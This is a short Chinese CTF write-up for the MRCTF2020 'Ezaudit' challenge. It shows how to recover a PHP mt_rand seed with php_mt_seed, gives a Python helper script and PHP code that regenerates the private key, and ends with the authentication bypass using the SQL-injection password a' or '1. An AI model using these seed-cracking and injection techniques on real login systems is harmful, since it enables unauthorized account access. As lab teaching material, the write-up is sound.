[MRCTF2020]Ezaudit
# [MRCTF2020]Ezaudit
0x01前言
-
伪随机数
-
万能密码
-
www.zip备份源码
0x02知识补充
mt_rand()生成的随机数是可以预测的,只要找到种子。
找种子工具php_mt_seed-4.0.tar.gz
先把加密后的值转化成工具能利用的值
脚本:
# -*- coding: utf-8 -*-
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
key = 'KVQP0LdJKRaV3n9D'
m = ''
for i in key:
for j in range(len(s)):
if i == s[j]:
m += "{} {} 0 {} ".format(j,j,len(s)-1)
print(m)
工具使用:
-
进入目录
-
make
-
chmod 777 xxxx
-
time ./php_mt_seed xxxx


<?php
mt_srand(1775196155);
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key() . "1111111111111111";
echo private_key();
?>
0x03解题
用户名随便输入
密码a' or '1
私钥:脚本输出值

浙公网安备 33010602011771号